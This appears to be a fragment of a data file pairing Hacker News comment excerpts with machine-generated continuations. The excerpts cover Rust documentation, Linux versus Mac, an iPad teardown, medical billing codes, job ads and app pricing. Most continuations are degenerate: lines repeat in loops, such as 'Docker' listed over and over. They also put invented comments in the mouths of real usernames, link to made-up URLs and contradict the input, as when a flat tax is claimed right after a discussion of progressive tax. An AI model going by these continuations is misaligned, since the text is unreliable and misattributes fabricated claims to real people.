which.\n\nAlso, no matter which of these two options we choose, we still plan to ship\nthe book inside installations of Rust for offline reading, and host the book\non docs.rust-lang.org.\n\n------\nsteveklabnik\nHi all! As always, happy to answer questions here.\n\n~~~\nkevinmgranger\nThe Rust Programming Language remains as one of the best introductions I've\nhad to a new programming language. I thank you for your work on it.\n\n~~~\nbluejekyll\nYes, and the work on the documentation in general. It's amazing. So many other\nyoung languages are crap in this area, even mature ones. I think the thing\nthat makes Rust amazing is that it's young, and yet well documented, making it\neasier to get started.\n\nCan't thank you enough, nice work.\n\n------\ndoppp\nHas anyone used Rust for game development? I know about the Piston engine but\nhas anyone successfully released a commercial game on Windows, Mac OS X and\nLinux with it or is it still pretty much an academic endeavour to make games\nin Rust?\n\n~~~\nrsaarelm\nI've been developing a hobby game engine and did a 7-day roguelike with it\nlast year:\n[https://github.com/rsaarelm/phage](https://github.com/rsaarelm/phage)\n\nI'd say it's about on par with C++, effort-wise. Big learning curve to get\nsomething as complex as a game off the ground, and you need to think about the\ndesign, but I can't"} +{"output_text": " manager.\n\nI also use a lot of open source software, and I use Linux for servers.\n\n------\njamesjyu\nI'm a Mac user, but I've been using Linux for the past few years. I've been\nusing Ubuntu for the past few months.\n\nI've been using Ubuntu for a few years now, and I've been using Linux for\nabout a year. I've been using Mac for about a year.\n\nI've been", "input_text": ". In case it matters,\nthe MBP is brand new top end. I run Ubuntu on an older Dell Precision, yet its\nstill what I prefer.\n\nSince you're already on Ubuntu, I'd stay with it.\n\nLinux is just great for development. 1.) I find the shortcuts on Linux more\nnatural (for me). 2.) I use a lot of open source software and everything I use\ntargets Linux. 3.) I find it easy to develop on the same OS that I deploy. 4.)\nI'm super used to Linux.\n\nAs for the Mac, the hardware casing is amazing...it's so thin and nice. As for\nRAM, CPU, its definitely very good, but not the highest end configuration on\nthe market.\n\n------\nloumf\nI am an iPhone dev primarily so I have to use OSX, which I am fine with.\n\nI also do webdev in Django and that's fine too, but sometimes OS X likes to\nplay with my python and mysql versions (especially on OS upgrades) -- since I\ndon't have to do this every day (or even every month), I often spend the first\nfew hours of a new task with it trying to figure out how to fix them.\n\nI haven't switched to using vagrant for all server dev, but if I had to do it\na lot, I would put my dev environment inside vagrant and isolate it from OS X.\nI deploy to Linux anyway, so there's no point in making it work on OS X.\n\n------\ninformatimago\nStay with Linux.\n\nIt's really a personnal question, and depends on your preferences on user\ninterface.\n\nFor example, I prefer the emacs user interface and I use emacs with ratpoison\nas window"} +{"output_text": "CR it, and send it to the user.\n\n~~~\njoshu\nI've been doing this for years.\n\n[http://www.flickr.com/photos/joshu/sets/72157629556905394/](http://www.flickr.com/photos/joshu/sets/72157629556905394/)\n\n~~~\nAnimats\nThat's a good start. The problem is that the distance", "input_text": " to retrieve them. I figured I needed cheap glasses until my insurance\nwould cover me again. I had an old prescription but it was over a year old. I\nlooked at Warby Parker, but they seem to require an actual prescription. So I\ntried Zenni Optical because all they need are the correction figures for each\nlens, they don't require an actual doctor signed document. Something I've\nalways felt was weird--its not like prescription drugs, and I can decide if\nthe glasses don't work, and a 18 month old prescription is better than no\nglasses.\n\nSo $35 shipped for glasses and frames, and they had a lot that were cheaper.\nThe seem to be very good quality, they seem to work better than lost pair (the\nprescription didn't have a pupillary distance, so I had to measure it. My eyes\nare pretty wide, and a lot of lenses can't accommodate my PD, so I wonder if\nthe optometrist just figured close enough for lenses with a lower max PD.)\nBefore this I had no idea how much markup was in the cost of a pair of\nglasses. Now I'll still get my eyes checked locally, but $30 glasses is better\nthan what I can get locally even after my insurance.\n\n~~~\nAnimats\nHere's a useful program someone in the HN/YC universe could write - something\nthat uses your computer or phone camera to measure your interpupillary\ndistance. This is a bit tricky to do yourself with a ruler and a mirror.\n\nJust have the user take a selfie while holding some object of known dimensions\non their forehead. Like a dollar bill. Find the eyes and pupils (OpenCV can do\nthat), find the reference object, calculate.\n\nThen take a picture of the prescription, O"} +{"output_text": "imgur.com/0X0X.jpg>\n\n------\njoshu\nI wonder if they could make a case for the ipad that is not a case.\n\n~~~\njoshu\nI guess they could make a case that is a case.\n\n------\njoshu\nI wonder if they could make a case that is not a case.\n\n------\njoshu\nI wonder if they could make a case that is not a case", "input_text": "Sweet! Thanks for posting this (an hour before the other submission that\nhijacked your link by pointing to page two, I might add).\n\nThe only bad thing is it was a bit deflating to see the thing disassembled\nwhile I'm still waiting for UPS's very slow (in subjective terms) delivery\ntoday.\n\n~~~\nalanthonyc\nI got a knock on the door a few minutes ago...it was the FedEx guy with my\niPad _dock._ Still no iPad.\n\n------\nnnutter\nGuess we can own it?\n\n------\nPopScreenTeam\nThat's cool. Very efficient assembly.\n\n------\nsahaj\n2GB of RAM was what impressed me the most. I was expecting 1GB at the most.\n\n~~~\npieter\nIt's 256MB, apparently. The article says 2Gb(256MB) per die, for a total of\n512MB, but tested it\nand it's 256MB. I'm not sure where iFixit gets the idea there would be two\ndies.\n\n------\nck2\nHow long do you think until someone accidentally shorts or punctures those\nmassive Li-Poly batteries.\n\nIsn't that battery type particularly prone to explosions (seriously!)\n\n~~~\nsnom370\nI guess that is one reason why the front display is made of quite thick glass\n(it seems) and the back is made of aluminum. You would need to give it quite a\nbeating in order to damage the batteries.\n\n------\npak\nIntriguing. Somebody secretly took apart the 3G model and found this:\n\n As a precaution, the German Air Force deployed its aircraft to ensure the\n> safety of the flight and its guests.\n\nDoes anyone still believe this bullshit? Clearly there's nothing that the\nfighter jets could do to ensure the safety of the flight/passengers - the most\nthey could do is to shoot the plane down in a safe area to avoid casualties\n_on the ground_, if it were e.g. controlled by terrorists.\n\nAnd the media/institutions wonder why people don't trust them...\n\n~~~\niSnow\nIt would be illegal in Germany to shoot down a hijacked airliner and ordering\nthe pilot to do so would be an illegitimate order the pilot would be forbidden\nfrom following. The most anyone could do would be the Minister of Defence of\nthe Chancellor talking directly to the pilot and telling her that they would\ntake the fall if her conscience allowed them to shoot down the plane. The\npilot would still face a trial with uncertain results.\n\nSo, please stop with the alternative facts and the conspiracy stuff. Not every\ncountry works like the US of A, unbelievably.\n\n~~~\nhubert123\n> It would be illegal in Germany to shoot down a hijacked airliner and\n> ordering the pilot to do so would be an illegitimate order the pilot would\n> be"} +{"output_text": " to the first\ncategory, and the more likely it is that the payer will pay the claim.\n\n------\nhga\nI'm not sure I agree with the conclusion that the coding system is \"bureaucratic\nmadness\".\n\nIt's a system that's been in place for a long time, and it's been used to\ndetermine payment for a long time.\n\nIt's not perfect, but it's not a system that's going to", "input_text": " anyone would even\nsuggest that that level of specificity was even useful, never mind required,\nis bureaucratic madness.\n\nStep back from the tree and you can see the forest burning.\n\n~~~\njjm\nBelieve it or not, these codes are used to define contracts and aid in payment\nall the way from patient to broker.\n\n~~~\nhga\nSo, pretend I'm a doctor and tell me, will I get paid more for _S61.354D Open\nbite of right ring finger with damage to nail, subsequent encounter_\n\nOr _S61.355D Open bite of left ring finger with damage to nail, subsequent\nencounter_???\n\nAnd with such specificity, why include this code:\n\n _S61.359D: Open bite of unspecified finger with damage to nail, subsequent\nencounter_\n\nI'm assuming \"other finger\" is the one between your little and middle ones,\nand we'll all sleep easier knowing that, while not found with jhulla's search,\nyour left and right thumbs have not been neglected.\n\n~~~\ndragonwriter\nGenerally, you don't get paid an amount for a diagnosis, you get paid for the\nservices you bill.\n\nWhether a payer accepts that the specific services you billed for are\nmedically appropriate and thus pays them depends, often, on the diagnosis they\nare treating. (And, often, there are three possibilities: the payer pays the\nclaim directly, or the payer requires additional supporting documentation\nwhich is manually reviewed before making a decision, or the payer denies\npayment outright.)\n\nThe more detail diagnostic coding provides (and, for that matter, the more\ndetail _procedure_ coding provides), the more an automated system can move\ncases that would otherwise be in the manual review category"} +{"output_text": " the rest are good.\n\n~~~\njimmygatz\nThanks for the feedback, we'll look into that.\n\n------\njimmygatz\nHey guys, we're a small team of developers and designers from Portugal. We're\nlooking for a few more people to join us.\n\nWe're building a product that helps people find the best products to buy.\n\nWe're looking for a few more people to join us.\n\nWe're building", "input_text": " I'll take a look at the presentation now and get back\nto you - looks interesting.\n\nThanks for the kind words too, we really appreciate it.\n\n------\ngriffinheart\nFix the mobile version its incredibly broken. It seems when you scroll to the\ntestimonials some js kicks in and reloads the web page.\n\nOn a side note, great to see more Portuguese entrepreneurs :) if you wanna\nexpand to Japan give me a shout. While not being a student this is something i\nwould've used after i rented my empty apartment here.\n\n~~~\njimmygatz\nCheers for the heads-up, we'll fix that today.\n\nAre you Portuguese yourself? We're definitely looking to expand\ninternationally next year. Would be cool to get in touch.\n\n~~~\ngriffinheart\nYes i am, check my email on my user profile.\n\n------\ntimhargis\nBest article I've read on this that's free.\n\n[http://conversionxl.com/13Ways-\nConversionXL.pdf](http://conversionxl.com/13Ways-ConversionXL.pdf)\n\n \n\nA polite rant on mobile UX - toportyan\nhttp://blog.hipwerk.com/a-polite-rant-on-mobile-ux/\n\n======\ndr4g0n\n> The so-called \u201cow zone\u201d is a zone that is hard to reach with your thumb,\n> like corners of the screen.\n\nThe image that goes along with this point demonstrates the areas that are hard\nto reach for right-handed users, ignoring that ~10% of people are left-handed\nand have trouble reaching the opposite corners. Your design shouldn't assume\nthat two particular corners are bad and"} +{"output_text": " | Full-time |\nOnsite | [https://fuse.tools](https://fuse.tools)\n\nFuse Tools is a small, fast-growing, profitable company that develops\nsoftware for the financial industry. We are looking for a senior Javascript\nengineer to join our team.\n\nYou will be working on a wide range of projects, from the core to the\nperiphery. You will be working with a team of talented developers and\ndesign", "input_text": "-Engineer-\nmf-8535](https://zenmate.com/jobs/#DevOps-Automation-Engineer-mf-8535)\n\n _DevOps Automation Engineer_\n\nYour Tasks:\n\n \n \n - Maintain and guarantee the availability and performance of our global infrastructure platform (bare-metal and cloud)\n \n - Working together with our providers to solve issues and server provisioning\n \n - Architecting and implementing pragmatic and scalable solutions for new challenges\n \n - Implementing and maintaining automated health-checks and corresponding services to automate our server fleet and to make it more robust\n \n - Making sure that our development and deployment infrastructure is flexible, easy to management and easily to use\n \n - Working closely together with our developers to deploy new services and solve performance problems\n \n - Scaling applications for performance and reliability depending on type of workload\n \n - Automate deployment, provisioning, monitoring as much as possible, write supporting tools and services to manage our fleet of machines\n \n - Establish and maintain a clean documentation for all DevOps processes\n \n\nPlease apply at [https://zenmate.com/jobs](https://zenmate.com/jobs)\n\n------\nwklaynman\nJustworks Inc: New York City, NY - Fulltime - Onsite Only - Will relocate\nDirector of Security - Front-end Engineers - Software Engineers - Security\nEngineers - Product Designers - Product Managers - Marketing Managers and\nmore! [http://bit.ly/1NMwpCp](http://bit.ly/1NMwpCp) OR email\njobs@justworks.com\n\n------\nenalicho\nFuse Tools | Software Engineer, Senior Javascript Engineer"} +{"output_text": ":\n\n\\- Java\n\n\\- C#\n\n\\- JavaScript\n\n\\- Ruby\n\n\\- Python\n\n\\- PHP\n\n\\- C\n\n\\- C++\n\n\\- SQL\n\n\\- Linux\n\n\\- Git\n\n\\- Docker\n\n\\- AWS\n\n\\- Docker\n\n\\- Kubernetes\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n", "input_text": " is a get-to-know you call, a short tech\ntest, and a finalization call.\n\nWe use C++, C#, Unity, and Unreal Engine.\n\n------\nwgancayco\nArcanys | Web Architect | Cebu City, Philippines | ONSITE\n\nHi guys, interested in discovering the Philippines? If you are an experienced\nweb Architect, I just might have the opportunity for you. check out our job\ndescription here: [https://www.arcanys.com/jobs/#op-119518-senior-web-\narchitect...](https://www.arcanys.com/jobs/#op-119518-senior-web-architect--\ntechnical-leader)\n\nYou can either apply through our website or email me at w.gancayco@arcanys.com\n\nCheers!\n\n------\ntonit\nrebaze - [http://rebaze.com](http://rebaze.com) | \"Developer Advocate as a\nService\" \\- Type of Engineer | Hannover, Germany | REMOTE + ONSITE in Germany\n| Fulltime\n\nHey there, We develop tools, principles and products for enterprise\nengineering teams so they can have startup-like fun, too. We create rockstar\ntools, coach teams on new techs and reimagine existing software products.\n\nWe are \"Developer Advocates as a Service\" for our clients.\n\nYou are a software remodelling enthusiast! You love to refactor dusty\ncodebases, simplify processes and removing obsolete stuff all DAY.\n\nYou need to live in Germany or at least be able to travel to Germany 3\ndays/week.\n\nYou should have a deep background in at least 2 of the following technical\nareas"} +{"output_text": " have the same opportunity.\n\n~~~\n1_2__3\nI'm not saying it's fair. I'm saying it's the way it is.\n\n~~~\nhueving\nI'm saying it's the way it is because it's the way it is.\n\n~~~\n1_2__3\nI'm saying it's the way it is because it's the way it is.\n\n------\njedberg\nI'm not sure if this is", "input_text": " have plenty of places to live, you just don't want to live there.\n\n~~~\nhueving\nIt's always interesting to me how many people think they have a right to live\nin a specific location. It's a strange mental model that I haven't fully\ngrasped.\n\n~~~\n1_2__3\nIt's more interesting to me how many people think money should, and inevitably\nwill, trump all other interests.\n\nMaybe if you're a 20-something programmer uprooting your entire life to live\nsomewhere else after decades in a location because financial pressures outside\nyour control make your home and everywhere near it impossible to afford that's\nnot such a big deal.\n\nBut for fuck's sake, think about this for a second. Most people _do_ have\nthings rooting them to a particular location. Maybe it's a social circle.\nMaybe it's support network. Maybe it's their career, or their children's\nschooling, or their health and the local climate.\n\nAt the end of the day we as a populace get to decide public policy. Taking\npeople being priced out of their homes as fait accompli because them's the\nmarket breaks is heartless enough, but then saying disdainful things about\njust how painful and difficult it is is worse.\n\n~~~\nhueving\nHere is the thing, there is only so much room for people. You are either\nsaying \"fuck you\" to the young people of the community that want to get a\nhouse in the place they have roots, or you say \"fuck you\" to the people that\ncan't afford to live there. I don't see how it's particularly fair for a\nperson to feel entitled to an area they did not purchase property in over\nanother that just didn't"} +{"output_text": "[https://www.youtube.com/watch?v=Z7Z_0_9XZ1k](https://www.youtube.com/watch?v=Z7Z_0_9XZ1k)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n", "input_text": "\nyou and isn't just sitting there resume farming\n\n------\n_bAp_\nMakeMeReach | Paris, France (near Opera) | Full Time | Onsite\n\nMakeMeReach is a fast-growing social ad tech company. We empower agencies\n(Havas, Dentsu-Aegis, GroupM...) and advertisers (Meetic, BlaBlaCar,\nL\u2019Occitane...) to outperform their campaigns on Facebook, Twitter and\nInstagram, at scale.\n\nOur solution leverages a cutting-edge platform that automates and optimizes\nall social ads campaigns in one place, and a team of performance marketing\nexperts who maximize ads efficiency.\n\nOur intuitive tool and team expertise are leading to success thousand\ncustomers in hundred countries. MakeMeReach is vetted by Facebook, Twitter and\nInstagram as an Official Partner.\n\nWe are looking for a Full-Stack Software Engineer to join our amazing team.\nYou will be part of a human-size, fun and fast-moving team and you will have a\ndirect impact on the product. We would like someone who can learn quickly and\nplay ping-pong at a professional level (last point optional).\n\nStack : HHVM (Hack), Angular, MongoDB, Coffeescript, Node.js, Ping-Pong,\nFoosball\n\nAdvantages : Startup experiencing exponential growth, Attractive wages,\nAmazing office in the center of Paris, Autonomy, Fun environnement,...\n\nWebsite : [http://makemereach.com/](http://makemereach.com/)\n\nApply : [https://makemereach.workable.com/](https://makemereach.workable.com/)\n\nCulture :\n"} +{"output_text": ".\n\nWe are looking for:\n\n* Senior Software Engineer (Java)\n\n* Senior Software Engineer (Python)\n\n* Senior Software Engineer (Go)\n\n* Senior Software Engineer (iOS)\n\n* Senior Software Engineer (Android)\n\n* Senior Software Engineer (Full Stack)\n\n* Senior Software Engineer (QA)\n\n* Senior Software Engineer (DevOps)\n\n* Senior Software Engineer (Mobile)\n\n* Senior Software Engineer (Data)", "input_text": " scalability.\n\nShoot me a message at vramarap@visa.com; register for our hiring event at\n[http://tinyurl.com/hezyqet](http://tinyurl.com/hezyqet)!\n\n------\ndatboitom\nAlbert ([https://meetalbert.com/](https://meetalbert.com/)) | Android\nDeveloper | Los Angeles, CA | Onsite, Full-time\n\nAlbert is a well funded, fast growing mobile app that gives simple, actionable\nfinancial advice. We're building the APIs and integrations to every type of\nfinancial institution so that people can seamlessly act on any type of\nfinancial advice. We're on a mission to improve financial health \u2013 with a\nbeautifully designed, simple product.\n\nCurrently hiring: Android Developer (to take full ownership of our Android\napplication).\n\nDetails/apply at: [https://jobs.lever.co/meetalbert/1f8bc848-e2ac-4dee-\nac2b-c34...](https://jobs.lever.co/meetalbert/1f8bc848-e2ac-4dee-\nac2b-c3485e8907f8)\n\n------\nbwreilly\nReUP | Seattle, WA | full-time | onsite\n\nReUP is a angel-backed startup improving and professionalizing the\nrecreational cannabis industry with a wholesale marketplace integrating\naccounting, seed-to-sale tracking, and inventory management.\n\nWe are looking for general purpose, motivated technologists who are interested\nin the domain and willing/able to wear many hats. We believe in building\nquality software for the long term using the best technology for the job"} +{"output_text": " in a bad spot.\n\nI'm not saying education is the only way to be happy but it's a great way to\nbe happy.\n\n------\njoshu\nI think the best way to be happy is to be happy with what you have.\n\n~~~\njoshu\nI think the best way to be happy is to be happy with what you have.\n\n------\njoshu\nI think the best way to be happy is to be happy", "input_text": " life I think is having mentors who are examples to follow it's good to have\na person who you can think \"What would Bob do?\" as an internal guide.\n\nIt's easy to say all that but hard to do, I haven't mastered that yet.\n\n~~~\nmsutherl\nI've found this fear to be my greatest motivator, but it has also lead me down\nfalse paths. Truth is, your dichotomy is a fiction. There are plenty of people\nwho live fulfilling lives without ever having consciously focused on learning\nskills and meeting qualifications wanted by employers. However, nobody gets\nanywhere by being lazy \u2013 one then needs to find another motivator. One I have\nin mind is: repulsion toward injustices in the world. Rather than fearing\ndrudgery, you can hold yourself personally accountable for evils and optimize\nfor effecting change. Of course this is also a fiction. An individual is most\nlikely incapable of effecting significant change in the world.\n\nAll motivations are irrational, but you still must have one. If you haven't\nfound one, keep looking. Watch documentaries, travel, read books. You will\nfind things to care about.\n\n~~~\ndhughes\nI shouldn't say or at least didn't mean a lot of money is the only way to be\nhappy, yes finding something you love to do and your family is able to live a\ngood life is the goal.\n\nEducation is a great character builder I often see educated people in\nstressful situations far more calm than someone who worked all their lives wit\nno education other than high school. It's not a science it doesn't apply every\ntime but education gives you options, if you lose your job at a sawmill where\nyou worked since age 16 you're going to be"} +{"output_text": " Web App for the Pythagorean Theorem\n\n[https://github.com/empath75/pythagoras](https://github.com/empath75/pythagoras)\n\n~~~\nkahrkunne\nI'm not saying he existed, I'm saying that he was a cult leader.\n\n~~~\nempath75\nI don't think he was a cult leader, I think he was a weird guy who held some\n", "input_text": "oras should have given his students smaller normal cups because, if we\ngo Machiavellian for a moment, people are unscrupulous and will plug the hole,\ntherefore a smaller cup will be more effective. And limited servings.\n\n~~~\nrobryk\nYou can make this harder by providing multiple small holes all over the bottom\nof the cup.\n\n------\ncustos\nThis is how toilets work.\n\n------\nmrfusion\nAnywhere to buy one cheaply?\n\n~~~\nIgorPartola\n3D print one?\n\n~~~\nrobryk\n3D printing stuff that's foodsafe is nontrivial. You not only need a material\nthat is not directly harmful (in temperatures it will be used in), but also\nmost 3d printed surfaces will not be smooth. This makes them very hard to\nproperly clean (especially the parts of such a cup that wouldn't be\nreachable), which causes biological problems (bacteria and mold growing\nthere).\n\nWhatever material such a cup was made out of, I'd've wanted to be able to\ndismantle it for cleaning, which lessens the advantage of 3d printing over\nmore traditional fabrication techniques.\n\n------\nchrisbrandow\nAlso like Soxhlet extractors. That is the coolest chemistry glassware.\n\n------\nkahrkunne\nI'd encourage anyone to read up on Pythagoras. He was a really weird guy who\nheld some inane beliefs and superstitions. Also a cult leader.\n\n~~~\nempath75\nI don't think we can know what he really believed or if he existed at all.\nHe's a semi-mythical figure and there are no contemporary accounts of him.\n\n \nShow HN: Single Page"} +{"output_text": "in the ass.\n\n------\njoshstrange\nI'm not sure I understand the point of this. If you're going to charge for\nyour software, you should be able to charge for the updates. If you're going\nto charge for updates, you should be able to charge for the software.\n\n~~~\njoshstrange\nI guess I'm just not understanding the point of this. If you're going to charge\nfor your software, you should be", "input_text": "n), and you could\nkeep track of which older features no one has, or offer periodic\nfree/discounted updates to reduce the amount of different versions out there.\n\n------\nheadcanon\nRenoise ([https://www.renoise.com/](https://www.renoise.com/)) is sold on the\nsame model. Each purchase guarantees free updates for one major version cycle\n(if you purchase v2.8, you get free updates until v3.8). Might not follow\nsemver rules, but it seems fair to me.\n\n------\norasis\nThese guys are fooling themselves. If their app provides ongoing value, then\nsubscriptions are the way to go today - it's just a matter of charging the\ncorrect price for the perceived value the consumer is receiving.\n\n------\nwalterbell\nOne question about this model: does the client app need to contact the\ndeveloper\u2019s licensing server on every app start, or after every app upgrade,\nor only at the time of in-app purchase?\n\nIf there\u2019s only a one-time \u201cphone home\u201d to the license server, this seems like\na good revenue model that balances the needs of users and iOS developers.\n\n~~~\nRjevski\nIn-app purchases are handled directly by Apple, so you can do away with a\nlicensing server and just enforce licensing on the client.\n\n~~~\nwalterbell\nBut they are allowing all clients to get new binaries (with bug fixes and new\nfeatures) while limiting them to features within a rolling 12 month window\nfrom time of purchase. Apple doesn\u2019t have the ability to gate features that\nway.\n\n------\ndigi_owl\nSoftware, like books, only has a market as long as the distribution is a pain\n"} +{"output_text": "'m not sure I understand the point of this.\n\nIf you're going to do a test, you need to be able to detect the presence of\nthe bacteria. If you can't detect it, then you can't say it's there.\n\nIf you can detect it, then you can say it's there.\n\n~~~\ncoryfklein\nThe point is that the bacteria were detected in the water, but not in the\nground.\n\n~~~\n", "input_text": "days' before, is it in\nthe realm of possibility to detect actual water from MRO?\n\n~~~\ncoryfklein\nFTA\n\n> \u201cThere are two basic origins for the water: from above or from below,\u201d Dr.\n> McEwen said. The perchlorates could be acting like a sponge, absorbing\n> moisture out of the air... The other possibility is underground aquifers,\n> frozen solid during winter, melting during summer and seeping to the\n> surface.\n\nAlthough \"rain\"/humidity is unlikely, the article also discusses why it can\nstill be considered a possibility since we don't have good humidity\nmeasurements at the surface.\n\n------\ncoldtea\nMaybe arsenic-based life too? This special announcement for merely \"signs of\"\n(instead of corfirmation) speaks of PR and the need to secure next years\nbudget...\n\n~~~\nsampo\nCurrently the mainstream opinion is that the bacteria didn't use arsenate, but\nwere very good at using the small amounts of phosphate that was still present\nin the experiment. And that the experimenters were not very good at cleaning\nall the phosphate out of the growth medium.\n\nSo the highly publicized 2010 study is now pretty much falsified.\n\n[http://www.nature.com/news/arsenic-life-bacterium-prefers-\nph...](http://www.nature.com/news/arsenic-life-bacterium-prefers-phosphorus-\nafter-all-1.11520)\n\n[https://en.wikipedia.org/wiki/GFAJ-1#Criticism](https://en.wikipedia.org/wiki/GFAJ-1#Criticism)\n\n------\naidos\nI"} +{"output_text": "_V1-q8)\n\n~~~\nmattmanser\nI'm not sure it's a progressive tax.\n\nIt's a flat tax of 19.6% on all income over a certain amount.\n\n~~~\nwsc981\nI'm not sure either. But it's a flat tax on income, not on the number of days\nyou work.\n\n------\nmattmanser\nI'm not sure it's a good idea.\n", "input_text": "\nto the gains.\n\nSure, if your work is so engaging and rewarding that work itself is a\npleasure, than it might pay off. But for most of us it just doesn't work that\nway. Work often means doing things were mostly others set the agenda, and\nwhile you may be good at what you do and find motivation in doing it, I've\nfound that it rarely means that you can do it with the same sustained level of\nenergy and quality for more than four eight hour days \u2014 and even that isn't a\ngiven.\n\n------\nwsc981\nIn The Netherlands /a lot/ of people work 4-day workweeks already [0]. It's\nnot that novel. But it'd be good if more countries could largely make the\nswitch.\n\nDue to the progressive tax in The Netherlands, working 5 days instead of 4\ndoesn't earn /that/ much more money and if you have toddlers, you will spend a\nday less for daycare, a day extra with your kids and probably have more time\nfor the fun things in life as well.\n\nAs a salaried employee I often chose a 4-day workweek as well when living in\nThe Netherlands. But once I started freelancing, the 5-day workweek seemed the\nbetter choice for me. As freelancer you are taxed a bit less compared to a\nsalaried employee, so there's more incentive to make as much money as possible\nduring the workweek.\n\n\\---\n\n[0]: [https://www.equaltimes.org/a-four-day-work-week-is-\nonly-a#.X...](https://www.equaltimes.org/a-four-day-work-week-is-\nonly-a#.XPxZ"} +{"output_text": " was the\npassage of the Airline Deregulation Act of 1978.\n\n[https://en.wikipedia.org/wiki/Airline_Deregulation_Act](https://en.wikipedia.org/wiki/Airline_Deregulation_Act)\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that the FAA is taking a more active role in\nregulating the industry.", "input_text": "\n\nSo to be good regulators, they have to be essentially omniscient?\n\n~~~\nsmt88\nNo. Post-mortems of these types of disasters usually reveal that warning signs\nwere visible if anyone cared to look or act.\n\nOne example happening now: extreme, pervasive sleep deprivation in the US\nNavy. We've already had disasters that could've been prevented if someone\ntalked to even a single sailor and realized how dangerous that is.\n\nAnother example is self-driving cars. We just had a Tesla crash, and yet Tesla\nwill not be regulated properly and will likely kill someone soon. Arguably,\nthey already have.\n\n------\nedoo\nOn youtube now you can find flight simulator reenactments of most every crash\nand air incident. They are quite fascinating and much much better than TV\nstyle dramatizations.\n\nHere is this incident: [https://www.youtube.com/watch?v=LzY-\nhzxlqig](https://www.youtube.com/watch?v=LzY-hzxlqig)\n\n~~~\ncf498\nThe air traffic control recordings alone are really great. When the guy stole\na plane from Seattle airport to take it for a joyride, i got stuck and clicked\nmyself through what felt like half the ATC recordings on youtube. Can only\nrecommend it, the level of international communication is rather astonishing.\n\n[https://www.youtube.com/channel/UCuedf_fJVrOppky5gl3U6QQ](https://www.youtube.com/channel/UCuedf_fJVrOppky5gl3U6QQ)\n\n------\ngingerbread-man\nThe most significant regulatory change following the Colgan crash"} +{"output_text": "https://github.com/pdfernhout/PlantStudio)\n\nI also have a couple of other projects that I've been meaning to put on\nGitHub, but haven't gotten around to it yet.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\npdfernhout\nI'm not sure what the point of this is either. I'm just trying to share some\nof the code I've written", "input_text": ", but you'd have to make your own decision about\nhow useful that was to you as a reference:\n[https://github.com/pdfernhout/GardenSimulatorSourceCirca1997...](https://github.com/pdfernhout/GardenSimulatorSourceCirca1997InDelphi/blob/master/ueq.pas)\n\nHere are the lines to look first inside that file:\n[https://github.com/pdfernhout/GardenSimulatorSourceCirca1997...](https://github.com/pdfernhout/GardenSimulatorSourceCirca1997InDelphi/blob/master/ueq.pas#L4741-L4764)\n\nRemember that a lot of EPIC is empirically derived functions and values from\nUS soils in certain climates -- so it may not be totally applicable elsewhere,\neven if it is a place to start.\n\nAnd here is a 100 page programmer's manual: [http://www.kurtz-\nfernhout.com/progmanlong.htm](http://www.kurtz-fernhout.com/progmanlong.htm)\n\nI put our PlantStudio and StoryHarp code up on GitHub (which share some common\ncode with the garden simulator) and have been meaning to someday put the\ngarden simulator code there.\n\nI spent a couple of months about a decade ago porting part of the code base to\nJava and also Python which involved writing a Delphi parser and translation\ntool, but the result is not a finished work. But the converted code for the\ngarden simulator is not on GitHub (yet). You can see some of the converted\nplant drawing code here though:\n[https://github.com/pdfernhout/PlantStudio]("} +{"output_text": "/idUSL1N0KQ0Z2201...](http://www.reuters.com/article/businessprop/idUSL1N0KQ0Z220101012)\n\n------\njoshstrange\nI'm not sure if this is a good thing or not. I mean, I'm all for the\n\"freedom\" of the individual to work for whoever they want, but I don't think\nthis is a good thing for", "input_text": " would be true (very unlikely for a few, false as a matter of law in at\nleast one).\n\nYou can't just assume that the change would achieve this state where workers\nget strictly more benefits and Uber's profits are sucked out. You need to take\ninto account how much they can cut driver cash payments in that circumstance\n(i.e. paying them via benefits), where the economic incidence of car costs and\nFICA taxes currently lies, what the law says about piecework, etc.\n\n------\nKarunamon\nOne thing I never see addressed in these Uber stories is how, precisely, the\ndrivers got classified as employees.\n\nThe only test I'm aware of refers to things like set hours, dictated methods\nof working, company equipment, payment, and so on[1].\n\nJust by that those tests alone, I don't see how an Uber driver is\nrealistically anything other than a contractor.\n\nSo either a judge screwed up somewhere, or I'm really missing something. Would\nanyone have some more information on the particulars?\n\n[1]: [https://www.irs.gov/Businesses/Small-Businesses-&-Self-\nEmplo...](https://www.irs.gov/Businesses/Small-Businesses-&-Self-\nEmployed/Independent-Contractor-Self-Employed-or-Employee)\n\n------\neugenekolo2\nReminds me of Microsoft's contractor lawsuit.\n\n[https://en.wikipedia.org/wiki/Permatemp#Vizcaino_v._Microsof...](https://en.wikipedia.org/wiki/Permatemp#Vizcaino_v._Microsoft)\n\n[http://www.reuters.com/article/businessprop"} +{"output_text": " and you can make a living.\n\n~~~\ntrevmckendrick\nI'm not sure I agree with that. I think the App Store is a great place to\nmake money, but it's not the only place.\n\n~~~\nandrewljohnson\nI think you can make a living on the App Store, but it's not easy.\n\nI've made a living on the App Store, and I've made a living on the web.\n\n", "input_text": ".com/item?id=10352263)\n\n \nMy First Year in the App Store - trevmckendrick\nhttp://www.trevormckendrick.com/my-first-year-in-the-app-store/\n======\ndhruvmittal\nI was actually really excited by the \"...you can get the next 9 posts\ndelivered to your email by signing up here:\" at the bottom. I like it. I like\nemail, because I can read it anywhere and filter it any way I want. I dislike\nunsubscribing from email updates about as much as I dislike getting updates\nI'll never read. By making it easy to get emailed only about a story I've\nalready demonstrated interest in (by reading all the way through), you've made\nsure I'll come back for your next 9 posts.\n\nI'd like to see more people use something like this.\n\nOr, if I've misunderstood how this works...well, the concept was exciting.\n\n~~~\ntrevmckendrick\nVery kind words. Glad you liked it. Indeed, fewer people sign up, but you know\nthey're the ones who value the content the most.\n\n~~~\ngrecy\nGiven that you're using wordpress, is that a plugin for the \"sign up by\nemail\"?\n\nThanks,\n\n~~~\ntrevmckendrick\nIt's just HTML that Mailchimp gave me that I stuck in the post.\n\n------\nandrewljohnson\nWhenever anyone complains to me that its hard to make money on software,\nand/or the App Store is rigged, I always tell them I think anyone can make a\nliving by making a bible app. You don't even have to be the best one, just\npretty good,"} +{"output_text": " you did.\n\n------\njoe_the_user\nI'm not sure 